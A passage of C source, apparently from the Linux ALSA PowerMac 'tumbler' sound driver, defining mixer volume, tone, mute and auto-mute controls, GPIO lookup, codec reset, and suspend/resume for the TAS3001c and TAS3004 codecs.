info->bytes, block) < 0) { 511 snd_printk("failed to set mono volume %d\n", info->index); 512 return -EINVAL; 513 } 514 return 0; 515 } 516 517 static int tumbler_info_mono(struct snd_kcontrol *kcontrol, 518 struct snd_ctl_elem_info *uinfo) 519 { 520 struct tumbler_mono_vol *info = (struct tumbler_mono_vol *)kcontrol->private_value; 521 522 uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER; 523 uinfo->count = 1; 524 uinfo->value.integer.min = 0; 525 uinfo->value.integer.max = info->max - 1; 526 return 0; 527 } 528 529 static int tumbler_get_mono(struct snd_kcontrol *kcontrol, 530 struct snd_ctl_elem_value *ucontrol) 531 { 532 struct tumbler_mono_vol *info = (struct tumbler_mono_vol *)kcontrol->private_value; 533 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 534 struct pmac_tumbler *mix; 535 if (! (mix = chip->mixer_data)) 536 return -ENODEV; 537 ucontrol->value.integer.value[0] = mix->mono_vol[info->index]; 538 return 0; 539 } 540 541 static int tumbler_put_mono(struct snd_kcontrol *kcontrol, 542 struct snd_ctl_elem_value *ucontrol) 543 { 544 struct tumbler_mono_vol *info = (struct tumbler_mono_vol *)kcontrol->private_value; 545 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 546 struct pmac_tumbler *mix; 547 unsigned int vol; 548 int change; 549 550 if (! (mix = chip->mixer_data)) 551 return -ENODEV; 552 vol = ucontrol->value.integer.value[0]; 553 if (vol >= info->max) 554 return -EINVAL; 555 change = mix->mono_vol[info->index] != vol; 556 if (change) { 557 mix->mono_vol[info->index] = vol; 558 tumbler_set_mono_volume(mix, info); 559 } 560 return change; 561 } 562 563 /* TAS3001c mono volumes */ 564 static struct tumbler_mono_vol tumbler_pcm_vol_info = { 565 .index = VOL_IDX_PCM_MONO, 566 .reg = TAS_REG_PCM, 567 .bytes = 3, 568 .max = ARRAY_SIZE(mixer_volume_table), 569 .table = mixer_volume_table, 570 }; 571 572 static struct tumbler_mono_vol tumbler_bass_vol_info = { 573 .index = VOL_IDX_BASS, 574 .reg = TAS_REG_BASS, 575 .bytes = 1, 576 .max = ARRAY_SIZE(bass_volume_table), 577 .table = bass_volume_table, 578 }; 579 580 static struct tumbler_mono_vol tumbler_treble_vol_info = { 581 .index = VOL_IDX_TREBLE, 582 .reg = TAS_REG_TREBLE, 583 .bytes = 1, 584 .max = ARRAY_SIZE(treble_volume_table), 585 .table = treble_volume_table, 586 }; 587 588 /* TAS3004 mono volumes */ 589 static struct tumbler_mono_vol snapper_bass_vol_info = { 590 .index = VOL_IDX_BASS, 591 .reg = TAS_REG_BASS, 592 .bytes = 1, 593 .max = ARRAY_SIZE(snapper_bass_volume_table), 594 .table = snapper_bass_volume_table, 595 }; 596 597 static struct tumbler_mono_vol snapper_treble_vol_info = { 598 .index = VOL_IDX_TREBLE, 599 .reg = TAS_REG_TREBLE, 600 .bytes = 1, 601 .max = ARRAY_SIZE(snapper_treble_volume_table), 602 .table = snapper_treble_volume_table, 603 }; 604 605 606 #define DEFINE_MONO(xname,type) { \ 607 .iface = SNDRV_CTL_ELEM_IFACE_MIXER,\ 608 .name = xname, \ 609 .info = tumbler_info_mono, \ 610 .get = tumbler_get_mono, \ 611 .put = tumbler_put_mono, \ 612 .private_value = (unsigned long)(&tumbler_##type##_vol_info), \ 613 } 614 615 #define DEFINE_SNAPPER_MONO(xname,type) { \ 616 .iface = SNDRV_CTL_ELEM_IFACE_MIXER,\ 617 .name = xname, \ 618 .info = tumbler_info_mono, \ 619 .get = tumbler_get_mono, \ 620 .put = tumbler_put_mono, \ 621 .private_value = (unsigned long)(&snapper_##type##_vol_info), \ 622 } 623 624 625 /* 626 * snapper mixer volumes 627 */ 628 629 static int snapper_set_mix_vol1(struct pmac_tumbler *mix, int idx, int ch, int reg) 630 { 631 int i, j, vol; 632 unsigned char block[9]; 633 634 vol = mix->mix_vol[idx][ch]; 635 if (vol >= ARRAY_SIZE(mixer_volume_table)) { 636 vol = ARRAY_SIZE(mixer_volume_table) - 1; 637 mix->mix_vol[idx][ch] = vol; 638 } 639 640 for (i = 0; i < 3; i++) { 641 vol = mix->mix_vol[i][ch]; 642 vol = mixer_volume_table[vol]; 643 for (j = 0; j < 3; j++) 644 block[i * 3 + j] = (vol >> ((2 - j) * 8)) & 0xff; 645 } 646 if (i2c_smbus_write_i2c_block_data(mix->i2c.client, reg, 647 9, block) < 0) { 648 snd_printk("failed to set mono volume %d\n", reg); 649 return -EINVAL; 650 } 651 return 0; 652 } 653 654 static int snapper_set_mix_vol(struct pmac_tumbler *mix, int idx) 655 { 656 if (! mix->i2c.client) 657 return -ENODEV; 658 if (snapper_set_mix_vol1(mix, idx, 0, TAS_REG_LMIX) < 0 || 659 snapper_set_mix_vol1(mix, idx, 1, TAS_REG_RMIX) < 0) 660 return -EINVAL; 661 return 0; 662 } 663 664 static int snapper_info_mix(struct snd_kcontrol *kcontrol, 665 struct snd_ctl_elem_info *uinfo) 666 { 667 uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER; 668 uinfo->count = 2; 669 uinfo->value.integer.min = 0; 670 uinfo->value.integer.max = ARRAY_SIZE(mixer_volume_table) - 1; 671 return 0; 672 } 673 674 static int snapper_get_mix(struct snd_kcontrol *kcontrol, 675 struct snd_ctl_elem_value *ucontrol) 676 { 677 int idx = (int)kcontrol->private_value; 678 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 679 struct pmac_tumbler *mix; 680 if (! (mix = chip->mixer_data)) 681 return -ENODEV; 682 ucontrol->value.integer.value[0] = mix->mix_vol[idx][0]; 683 ucontrol->value.integer.value[1] = mix->mix_vol[idx][1]; 684 return 0; 685 } 686 687 static int snapper_put_mix(struct snd_kcontrol *kcontrol, 688 struct snd_ctl_elem_value *ucontrol) 689 { 690 int idx = (int)kcontrol->private_value; 691 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 692 struct pmac_tumbler *mix; 693 unsigned int vol[2]; 694 int change; 695 696 if (! (mix = chip->mixer_data)) 697 return -ENODEV; 698 vol[0] = ucontrol->value.integer.value[0]; 699 vol[1] = ucontrol->value.integer.value[1]; 700 if (vol[0] >= ARRAY_SIZE(mixer_volume_table) || 701 vol[1] >= ARRAY_SIZE(mixer_volume_table)) 702 return -EINVAL; 703 change = mix->mix_vol[idx][0] != vol[0] || 704 mix->mix_vol[idx][1] != vol[1]; 705 if (change) { 706 mix->mix_vol[idx][0] = vol[0]; 707 mix->mix_vol[idx][1] = vol[1]; 708 snapper_set_mix_vol(mix, idx); 709 } 710 return change; 711 } 712 713 714 /* 715 * mute switches. FIXME: Turn that into software mute when both outputs are muted 716 * to avoid codec reset on ibook M7 717 */ 718 719 enum { TUMBLER_MUTE_HP, TUMBLER_MUTE_AMP, TUMBLER_MUTE_LINE }; 720 721 static int tumbler_get_mute_switch(struct snd_kcontrol *kcontrol, 722 struct snd_ctl_elem_value *ucontrol) 723 { 724 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 725 struct pmac_tumbler *mix; 726 struct pmac_gpio *gp; 727 if (! (mix = chip->mixer_data)) 728 return -ENODEV; 729 switch(kcontrol->private_value) { 730 case TUMBLER_MUTE_HP: 731 gp = &mix->hp_mute; break; 732 case TUMBLER_MUTE_AMP: 733 gp = &mix->amp_mute; break; 734 case TUMBLER_MUTE_LINE: 735 gp = &mix->line_mute; break; 736 default: 737 gp = NULL; 738 } 739 if (gp == NULL) 740 return -EINVAL; 741 ucontrol->value.integer.value[0] = !check_audio_gpio(gp); 742 return 0; 743 } 744 745 static int tumbler_put_mute_switch(struct snd_kcontrol *kcontrol, 746 struct snd_ctl_elem_value *ucontrol) 747 { 748 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 749 struct pmac_tumbler *mix; 750 struct pmac_gpio *gp; 751 int val; 752 #ifdef PMAC_SUPPORT_AUTOMUTE 753 if (chip->update_automute && chip->auto_mute) 754 return 0; /* don't touch in the auto-mute mode */ 755 #endif 756 if (! (mix = chip->mixer_data)) 757 return -ENODEV; 758 switch(kcontrol->private_value) { 759 case TUMBLER_MUTE_HP: 760 gp = &mix->hp_mute; break; 761 case TUMBLER_MUTE_AMP: 762 gp = &mix->amp_mute; break; 763 case TUMBLER_MUTE_LINE: 764 gp = &mix->line_mute; break; 765 default: 766 gp = NULL; 767 } 768 if (gp == NULL) 769 return -EINVAL; 770 val = ! check_audio_gpio(gp); 771 if (val != ucontrol->value.integer.value[0]) { 772 write_audio_gpio(gp, ! ucontrol->value.integer.value[0]); 773 return 1; 774 } 775 return 0; 776 } 777 778 static int snapper_set_capture_source(struct pmac_tumbler *mix) 779 { 780 if (! mix->i2c.client) 781 return -ENODEV; 782 if (mix->capture_source) 783 mix->acs = mix->acs |= 2; 784 else 785 mix->acs &= ~2; 786 return i2c_smbus_write_byte_data(mix->i2c.client, TAS_REG_ACS, mix->acs); 787 } 788 789 static int snapper_info_capture_source(struct snd_kcontrol *kcontrol, 790 struct snd_ctl_elem_info *uinfo) 791 { 792 static char *texts[2] = { 793 "Line", "Mic" 794 }; 795 uinfo->type = SNDRV_CTL_ELEM_TYPE_ENUMERATED; 796 uinfo->count = 1; 797 uinfo->value.enumerated.items = 2; 798 if (uinfo->value.enumerated.item > 1) 799 uinfo->value.enumerated.item = 1; 800 strcpy(uinfo->value.enumerated.name, texts[uinfo->value.enumerated.item]); 801 return 0; 802 } 803 804 static int snapper_get_capture_source(struct snd_kcontrol *kcontrol, 805 struct snd_ctl_elem_value *ucontrol) 806 { 807 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 808 struct pmac_tumbler *mix = chip->mixer_data; 809 810 snd_assert(mix, return -ENODEV); 811 ucontrol->value.enumerated.item[0] = mix->capture_source; 812 return 0; 813 } 814 815 static int snapper_put_capture_source(struct snd_kcontrol *kcontrol, 816 struct snd_ctl_elem_value *ucontrol) 817 { 818 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 819 struct pmac_tumbler *mix = chip->mixer_data; 820 int change; 821 822 snd_assert(mix, return -ENODEV); 823 change = ucontrol->value.enumerated.item[0] != mix->capture_source; 824 if (change) { 825 mix->capture_source = !!ucontrol->value.enumerated.item[0]; 826 snapper_set_capture_source(mix); 827 } 828 return change; 829 } 830 831 #define DEFINE_SNAPPER_MIX(xname,idx,ofs) { \ 832 .iface = SNDRV_CTL_ELEM_IFACE_MIXER,\ 833 .name = xname, \ 834 .info = snapper_info_mix, \ 835 .get = snapper_get_mix, \ 836 .put = snapper_put_mix, \ 837 .index = idx,\ 838 .private_value = ofs, \ 839 } 840 841 842 /* 843 */ 844 static struct snd_kcontrol_new tumbler_mixers[] __initdata = { 845 { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 846 .name = "Master Playback Volume", 847 .info = tumbler_info_master_volume, 848 .get = tumbler_get_master_volume, 849 .put = tumbler_put_master_volume 850 }, 851 { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 852 .name = "Master Playback Switch", 853 .info = snd_pmac_boolean_stereo_info, 854 .get = tumbler_get_master_switch, 855 .put = tumbler_put_master_switch 856 }, 857 DEFINE_MONO("Tone Control - Bass", bass), 858 DEFINE_MONO("Tone Control - Treble", treble), 859 DEFINE_MONO("PCM Playback Volume", pcm), 860 { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 861 .name = "DRC Range", 862 .info = tumbler_info_drc_value, 863 .get = tumbler_get_drc_value, 864 .put = tumbler_put_drc_value 865 }, 866 }; 867 868 static struct snd_kcontrol_new snapper_mixers[] __initdata = { 869 { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 870 .name = "Master Playback Volume", 871 .info = tumbler_info_master_volume, 872 .get = tumbler_get_master_volume, 873 .put = tumbler_put_master_volume 874 }, 875 { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 876 .name = "Master Playback Switch", 877 .info = snd_pmac_boolean_stereo_info, 878 .get = tumbler_get_master_switch, 879 .put = tumbler_put_master_switch 880 }, 881 DEFINE_SNAPPER_MIX("PCM Playback Volume", 0, VOL_IDX_PCM), 882 DEFINE_SNAPPER_MIX("PCM Playback Volume", 1, VOL_IDX_PCM2), 883 DEFINE_SNAPPER_MIX("Monitor Mix Volume", 0, VOL_IDX_ADC), 884 DEFINE_SNAPPER_MONO("Tone Control - Bass", bass), 885 DEFINE_SNAPPER_MONO("Tone Control - Treble", treble), 886 { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 887 .name = "DRC Range", 888 .info = tumbler_info_drc_value, 889 .get = tumbler_get_drc_value, 890 .put = tumbler_put_drc_value 891 }, 892 { .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 893 .name = "Input Source", /* FIXME: "Capture Source" doesn't work properly */ 894 .info = snapper_info_capture_source, 895 .get = snapper_get_capture_source, 896 .put = snapper_put_capture_source 897 }, 898 }; 899 900 static struct snd_kcontrol_new tumbler_hp_sw __initdata = { 901 .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 902 .name = "Headphone Playback Switch", 903 .info = snd_pmac_boolean_mono_info, 904 .get = tumbler_get_mute_switch, 905 .put = tumbler_put_mute_switch, 906 .private_value = TUMBLER_MUTE_HP, 907 }; 908 static struct snd_kcontrol_new tumbler_speaker_sw __initdata = { 909 .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 910 .name = "PC Speaker Playback Switch", 911 .info = snd_pmac_boolean_mono_info, 912 .get = tumbler_get_mute_switch, 913 .put = tumbler_put_mute_switch, 914 .private_value = TUMBLER_MUTE_AMP, 915 }; 916 static struct snd_kcontrol_new tumbler_lineout_sw __initdata = { 917 .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 918 .name = "Line Out Playback Switch", 919 .info = snd_pmac_boolean_mono_info, 920 .get = tumbler_get_mute_switch, 921 .put = tumbler_put_mute_switch, 922 .private_value = TUMBLER_MUTE_LINE, 923 }; 924 static struct snd_kcontrol_new tumbler_drc_sw __initdata = { 925 .iface = SNDRV_CTL_ELEM_IFACE_MIXER, 926 .name = "DRC Switch", 927 .info = snd_pmac_boolean_mono_info, 928 .get = tumbler_get_drc_switch, 929 .put = tumbler_put_drc_switch 930 }; 931 932 933 #ifdef PMAC_SUPPORT_AUTOMUTE 934 /* 935 * auto-mute stuffs 936 */ 937 static int tumbler_detect_headphone(struct snd_pmac *chip) 938 { 939 struct pmac_tumbler *mix = chip->mixer_data; 940 int detect = 0; 941 942 if (mix->hp_detect.addr) 943 detect |= read_audio_gpio(&mix->hp_detect); 944 return detect; 945 } 946 947 static int tumbler_detect_lineout(struct snd_pmac *chip) 948 { 949 struct pmac_tumbler *mix = chip->mixer_data; 950 int detect = 0; 951 952 if (mix->line_detect.addr) 953 detect |= read_audio_gpio(&mix->line_detect); 954 return detect; 955 } 956 957 static void check_mute(struct snd_pmac *chip, struct pmac_gpio *gp, int val, int do_notify, 958 struct snd_kcontrol *sw) 959 { 960 if (check_audio_gpio(gp) != val) { 961 write_audio_gpio(gp, val); 962 if (do_notify) 963 snd_ctl_notify(chip->card, SNDRV_CTL_EVENT_MASK_VALUE, 964 &sw->id); 965 } 966 } 967 968 static struct work_struct device_change; 969 static struct snd_pmac *device_change_chip; 970 971 static void device_change_handler(struct work_struct *work) 972 { 973 struct snd_pmac *chip = device_change_chip; 974 struct pmac_tumbler *mix; 975 int headphone, lineout; 976 977 if (!chip) 978 return; 979 980 mix = chip->mixer_data; 981 snd_assert(mix, return); 982 983 headphone = tumbler_detect_headphone(chip); 984 lineout = tumbler_detect_lineout(chip); 985 986 DBG("headphone: %d, lineout: %d\n", headphone, lineout); 987 988 if (headphone || lineout) { 989 /* unmute headphone/lineout & mute speaker */ 990 if (headphone) 991 check_mute(chip, &mix->hp_mute, 0, mix->auto_mute_notify, 992 chip->master_sw_ctl); 993 if (lineout && mix->line_mute.addr != 0) 994 check_mute(chip, &mix->line_mute, 0, mix->auto_mute_notify, 995 chip->lineout_sw_ctl); 996 if (mix->anded_reset) 997 msleep(10); 998 check_mute(chip, &mix->amp_mute, 1, mix->auto_mute_notify, 999 chip->speaker_sw_ctl); 1000 } else { 1001 /* unmute speaker, mute others */ 1002 check_mute(chip, &mix->amp_mute, 0, mix->auto_mute_notify, 1003 chip->speaker_sw_ctl); 1004 if (mix->anded_reset) 1005 msleep(10); 1006 check_mute(chip, &mix->hp_mute, 1, mix->auto_mute_notify, 1007 chip->master_sw_ctl); 1008 if (mix->line_mute.addr != 0) 1009 check_mute(chip, &mix->line_mute, 1, mix->auto_mute_notify, 1010 chip->lineout_sw_ctl); 1011 } 1012 if (mix->auto_mute_notify) 1013 snd_ctl_notify(chip->card, SNDRV_CTL_EVENT_MASK_VALUE, 1014 &chip->hp_detect_ctl->id); 1015 1016 #ifdef CONFIG_SND_POWERMAC_AUTO_DRC 1017 mix->drc_enable = ! (headphone || lineout); 1018 if (mix->auto_mute_notify) 1019 snd_ctl_notify(chip->card, SNDRV_CTL_EVENT_MASK_VALUE, 1020 &chip->drc_sw_ctl->id); 1021 if (chip->model == PMAC_TUMBLER) 1022 tumbler_set_drc(mix); 1023 else 1024 snapper_set_drc(mix); 1025 #endif 1026 1027 /* reset the master volume so the correct amplification is applied */ 1028 tumbler_set_master_volume(mix); 1029 } 1030 1031 static void tumbler_update_automute(struct snd_pmac *chip, int do_notify) 1032 { 1033 if (chip->auto_mute) { 1034 struct pmac_tumbler *mix; 1035 mix = chip->mixer_data; 1036 snd_assert(mix, return); 1037 mix->auto_mute_notify = do_notify; 1038 schedule_work(&device_change); 1039 } 1040 } 1041 #endif /* PMAC_SUPPORT_AUTOMUTE */ 1042 1043 1044 /* interrupt - headphone plug changed */ 1045 static irqreturn_t headphone_intr(int irq, void *devid) 1046 { 1047 struct snd_pmac *chip = devid; 1048 if (chip->update_automute && chip->initialized) { 1049 chip->update_automute(chip, 1); 1050 return IRQ_HANDLED; 1051 } 1052 return IRQ_NONE; 1053 } 1054 1055 /* look for audio-gpio device */ 1056 static struct device_node *find_audio_device(const char *name) 1057 { 1058 struct device_node *gpiop; 1059 struct device_node *np; 1060 1061 gpiop = of_find_node_by_name(NULL, "gpio"); 1062 if (! gpiop) 1063 return NULL; 1064 1065 for (np = of_get_next_child(gpiop, NULL); np; 1066 np = of_get_next_child(gpiop, np)) { 1067 const char *property = of_get_property(np, "audio-gpio", NULL); 1068 if (property && strcmp(property, name) == 0) 1069 break; 1070 } 1071 of_node_put(gpiop); 1072 return np; 1073 } 1074 1075 /* look for audio-gpio device */ 1076 static struct device_node *find_compatible_audio_device(const char *name) 1077 { 1078 struct device_node *gpiop; 1079 struct device_node *np; 1080 1081 gpiop = of_find_node_by_name(NULL, "gpio"); 1082 if (!gpiop) 1083 return NULL; 1084 1085 for (np = of_get_next_child(gpiop, NULL); np; 1086 np = of_get_next_child(gpiop, np)) { 1087 if (of_device_is_compatible(np, name)) 1088 break; 1089 } 1090 of_node_put(gpiop); 1091 return np; 1092 } 1093 1094 /* find an audio device and get its address */ 1095 static long tumbler_find_device(const char *device, const char *platform, 1096 struct pmac_gpio *gp, int is_compatible) 1097 { 1098 struct device_node *node; 1099 const u32 *base; 1100 u32 addr; 1101 long ret; 1102 1103 if (is_compatible) 1104 node = find_compatible_audio_device(device); 1105 else 1106 node = find_audio_device(device); 1107 if (! node) { 1108 DBG("(W) cannot find audio device %s !\n", device); 1109 snd_printdd("cannot find device %s\n", device); 1110 return -ENODEV; 1111 } 1112 1113 base = of_get_property(node, "AAPL,address", NULL); 1114 if (! base) { 1115 base = of_get_property(node, "reg", NULL); 1116 if (!base) { 1117 DBG("(E) cannot find address for device %s !\n", device); 1118 snd_printd("cannot find address for device %s\n", device); 1119 of_node_put(node); 1120 return -ENODEV; 1121 } 1122 addr = *base; 1123 if (addr < 0x50) 1124 addr += 0x50; 1125 } else 1126 addr = *base; 1127 1128 gp->addr = addr & 0x0000ffff; 1129 /* Try to find the active state, default to 0 ! */ 1130 base = of_get_property(node, "audio-gpio-active-state", NULL); 1131 if (base) { 1132 gp->active_state = *base; 1133 gp->active_val = (*base) ? 0x5 : 0x4; 1134 gp->inactive_val = (*base) ? 0x4 : 0x5; 1135 } else { 1136 const u32 *prop = NULL; 1137 gp->active_state = 0; 1138 gp->active_val = 0x4; 1139 gp->inactive_val = 0x5; 1140 /* Here are some crude hacks to extract the GPIO polarity and 1141 * open collector informations out of the do-platform script 1142 * as we don't yet have an interpreter for these things 1143 */ 1144 if (platform) 1145 prop = of_get_property(node, platform, NULL); 1146 if (prop) { 1147 if (prop[3] == 0x9 && prop[4] == 0x9) { 1148 gp->active_val = 0xd; 1149 gp->inactive_val = 0xc; 1150 } 1151 if (prop[3] == 0x1 && prop[4] == 0x1) { 1152 gp->active_val = 0x5; 1153 gp->inactive_val = 0x4; 1154 } 1155 } 1156 } 1157 1158 DBG("(I) GPIO device %s found, offset: %x, active state: %d !\n", 1159 device, gp->addr, gp->active_state); 1160 1161 ret = irq_of_parse_and_map(node, 0); 1162 of_node_put(node); 1163 return ret; 1164 } 1165 1166 /* reset audio */ 1167 static void tumbler_reset_audio(struct snd_pmac *chip) 1168 { 1169 struct pmac_tumbler *mix = chip->mixer_data; 1170 1171 if (mix->anded_reset) { 1172 DBG("(I) codec anded reset !\n"); 1173 write_audio_gpio(&mix->hp_mute, 0); 1174 write_audio_gpio(&mix->amp_mute, 0); 1175 msleep(200); 1176 write_audio_gpio(&mix->hp_mute, 1); 1177 write_audio_gpio(&mix->amp_mute, 1); 1178 msleep(100); 1179 write_audio_gpio(&mix->hp_mute, 0); 1180 write_audio_gpio(&mix->amp_mute, 0); 1181 msleep(100); 1182 } else { 1183 DBG("(I) codec normal reset !\n"); 1184 1185 write_audio_gpio(&mix->audio_reset, 0); 1186 msleep(200); 1187 write_audio_gpio(&mix->audio_reset, 1); 1188 msleep(100); 1189 write_audio_gpio(&mix->audio_reset, 0); 1190 msleep(100); 1191 } 1192 } 1193 1194 #ifdef CONFIG_PM 1195 /* suspend mixer */ 1196 static void tumbler_suspend(struct snd_pmac *chip) 1197 { 1198 struct pmac_tumbler *mix = chip->mixer_data; 1199 1200 if (mix->headphone_irq >= 0) 1201 disable_irq(mix->headphone_irq); 1202 if (mix->lineout_irq >= 0) 1203 disable_irq(mix->lineout_irq); 1204 mix->save_master_switch[0] = mix->master_switch[0]; 1205 mix->save_master_switch[1] = mix->master_switch[1]; 1206 mix->save_master_vol[0] = mix->master_vol[0]; 1207 mix->save_master_vol[1] = mix->master_vol[1]; 1208 mix->master_switch[0] = mix->master_switch[1] = 0; 1209 tumbler_set_master_volume(mix); 1210 if (!mix->anded_reset) { 1211 write_audio_gpio(&mix->amp_mute, 1); 1212 write_audio_gpio(&mix->hp_mute, 1); 1213 } 1214 if (chip->model == PMAC_SNAPPER) { 1215 mix->acs |= 1; 1216 i2c_smbus_write_byte_data(mix->i2c.client, TAS_REG_ACS, mix->acs); 1217 } 1218 if (mix->anded_reset) { 1219 write_audio_gpio(&mix->amp_mute, 1); 1220 write_audio_gpio(&mix->hp_mute, 1); 1221 } else 1222 write_audio_gpio(&mix->audio_reset, 1); 1223 } 1224 1225 /* resume mixer */ 1226 static void tumbler_resume(struct snd_pmac *chip) 1227 { 1228 struct pmac_tumbler *mix = chip->mixer_data; 1229 1230 snd_assert(mix, return); 1231 1232 mix->acs &= ~1; 1233 mix->master_switch[0] = mix->save_master_switch[0]; 1234 mix->master_switch[1] = mix->save_master_switch[1]; 1235 mix->master_vol[0] = mix->save_master_vol[0]; 1236 mix->master_vol[1] = mix->save_master_vol[1]; 1237 tumbler_reset_audio(chip); 1238 if (mix->i2c.client && mix->i2c.init_client) { 1239 if (mix->i2c.init_client(&mix->i2c) < 0) 1240 printk(KERN_ERR "tumbler_init_client error\n"); 1241 } else 1242 printk(KERN_ERR "tumbler: i2c is not initialized\n"); 1243 if (chip->model == PMAC_TUMBLER) { 1244 tumbler_set_mono_volume(mix, &tumbler_pcm_vol_info); 1245 tumbler_set_mono_volume(mix, &tumbler_bass_vol_info); 1246 tumbler_set_mono_volume(mix, &tumbler_treble_vol_info); 1247 tumbler_set_drc(mix); 1248 } else { 1249 snapper_set_mix_vol(mix, VOL_IDX_PCM); 1250 snapper_set_mix_vol(mix, VOL_IDX_PCM2); 1251 snapper_set_mix_vol(mix, VOL_IDX_ADC); 1252 tumbler_set_mono_volume(mix, &snapper_bass_vol_info); 1253 tumbler_set_mono_volume(mix, &snapper_treble_vol_info); 1254 snapper_set_drc(mix); 1255 snapper_set_capture_source(mix); 1256 } 1257 tumbler_set_master_volume(mix); 1258 if (chip->update_automute) 1259 chip->update_automute(chip, 0); 1260 if (mix->headphone_irq >= 0) { 1261 unsigned char val; 1262 1263 enable_irq(mix->headphone_irq); 1264 /* activate headphone status interrupts */ 1265 val = do_gpio_read(&mix->hp_detect); 1266 do_gpio_write(&mix->hp_detect, val | 0x80); 1267 } 1268 if (mix->lineout_irq >= 0) 1269 enable_irq(mix->lineout_irq); 1270 } 1271 #endif 1272 1273 /* initialize tumbler */ 1274 static int __init tumbler_init(struct snd_pmac *chip) 1275 { 1276 int irq; 1277 struct pmac_tumbler *mix = chip->mixer_data; 1278 snd_assert(mix, return -EINVAL); 1279 1280 if (tumbler_find_device("audio-hw-reset", 1281 "platform-do-hw-reset", 1282 &mix->audio_reset, 0) < 0) 1283 tumbler_find_device("hw-reset", 1284 "platform-do-hw-reset", 1285 &mix->audio_reset, 1); 1286 if (tumbler_find_device("amp-mute", 1287 "platform-do-amp-mute", 1288 &mix->amp_mute, 0) < 0) 1289 tumbler_find_device("amp-mute", 1290 "platform-do-amp-mute", 1291 &mix->amp_mute, 1); 1292 if (tumbler_find_device("headphone-mute", 1293 "platform-do-headphone-mute", 1294 &mix->hp_mute, 0) < 0) 1295 tumbler_find_device("headphone-mute", 1296 "platform-do-headphone-mute", 1297 &mix->hp_mute, 1); 1298 if (tumbler_find_device("line-output-mute", 1299 "platform-do-lineout-mute", 1300 &mix->line_mute, 0) < 0) 1301 tumbler_find_device("line-output-mute", 1302 "platform-do-lineout-mute", 1303 &mix->line_mute, 1); 1304 irq = tumbler_find_device("headphone-detect", 1305 NULL, &mix->hp_detect, 0); 1306 if (irq <= NO_IRQ) 1307 irq = tumbler_find_device("headphone-detect", 1308 NULL, &mix->hp_detect, 1); 1309 if (irq <= NO_IRQ) 1310 irq = tumbler_find_device("keywest-gpio15", 1311 NULL, &mix->hp_detect, 1); 1312 mix->headphone_irq = irq; 1313 irq = tumbler_find_device("line-output-detect", 1314 NULL, &mix->line_detect, 0); 1315 if (irq <= NO_IRQ) 1316 irq = tumbler_find_device("line-output-detect", 1317 NULL, &mix->line_detect, 1); 1318 mix->lineout_irq = irq; 1319 1320 tumbler_reset_audio(chip); 1321 1322 return 0; 1323 } 1324 1325 static void tumbler_cleanup(struct snd_pmac *chip) 1326 { 1327 struct pmac_tumbler *mix = chip->mixer_data; 1328 if (! mix) 1329 return; 1330 1331 if (mix->headphone_irq >= 0) 1332 free_irq(mix->headphone_irq, chip); 1333 if (mix->lineout_irq >= 0) 1334 free_irq(mix->lineout_irq, chip); 1335 tumbler_gpio_free(&mix->audio_reset); 1336 tumbler_gpio_free(&mix->amp_mute); 1337 tumbler_gpio_free(&mix->hp_mute); 1338 tumbler_gpio_free(&mix->hp_detect); 1339 snd_pmac_keywest_cleanup(&mix->i2c); 1340 kfree(mix); 1341 chip->mixer_data = NULL; 1342 } 1343 1344 /* exported */ 1345 int __init snd_pmac_tumbler_init(struct snd_pmac *chip) 1346 { 1347 int i, err; 1348 struct pmac_tumbler *mix; 1349 const u32 *paddr; 1350 struct device_node *tas_node, *np; 1351 char *chipname; 1352 1353 #ifdef CONFIG_KMOD 1354 request_module("i2c-powermac"); 1355 #endif /* CONFIG_KMOD */ 1356 1357 mix = kzalloc(sizeof(*mix), GFP_KERNEL); 1358 if (! mix) 1359 return -ENOMEM; 1360 mix->headphone_irq = -1; 1361 1362 chip->mixer_data = mix; 1363 chip->mixer_free = tumbler_cleanup; 1364 mix->anded_reset = 0; 1365 mix->reset_on_sleep = 1; 1366 1367 for (np = chip->node->child; np; np = np->sibling) { 1368 if (!strcmp(np->name, "sound")) { 1369 if (of_get_property(np, "has-anded-reset", NULL)) 1370 mix->anded_reset = 1; 1371 if (of_get_property(np, "layout-id", NULL)) 1372 mix->reset_on_sleep = 0; 1373 break; 1374 } 1375 } 1376 if ((err = tumbler_init(chip)) < 0) 1377 return err; 1378 1379 /* set up TAS */ 1380 tas_node = of_find_node_by_name(NULL, "deq"); 1381 if (tas_node == NULL) 1382 tas_node = of_find_node_by_name(NULL, "codec"); 1383 if (tas_node == NULL) 1384 return -ENODEV; 1385 1386 paddr = of_get_property(tas_node, "i2c-address", NULL); 1387 if (paddr == NULL) 1388 paddr = of_get_property(tas_node, "reg", NULL); 1389 if (paddr) 1390 mix->i2c.addr = (*paddr) >> 1; 1391 else 1392 mix->i2c.addr = TAS_I2C_ADDR; 1393 of_node_put(tas_node); 1394 1395 DBG("(I) TAS i2c address is: %x\n", mix->i2c.addr); 1396 1397 if (chip->model == PMAC_TUMBLER) { 1398 mix->i2c.init_client = tumbler_init_client; 1399 mix->i2c.name = "TAS3001c"; 1400 chipname = "Tumbler"; 1401 } else { 1402 mix->i2c.init_client = snapper_init_client; 1403 mix->i2c.name = "TAS3004"; 1404 chipname = "Snapper"; 1405 } 1406 1407 if ((err = snd_pmac_keywest_init(&mix->i2c)) < 0) 1408 return err; 1409 1410 /* 1411 * build mixers 1412 */ 1413 sprintf(chip->card->mixername, "PowerMac %s", chipname); 1414 1415 if (chip->model == PMAC_TUMBLER) { 1416 for (i = 0; i < ARRAY_SIZE(tumbler_mixers); i++) { 1417 if ((err = snd_ctl_add(chip->card, 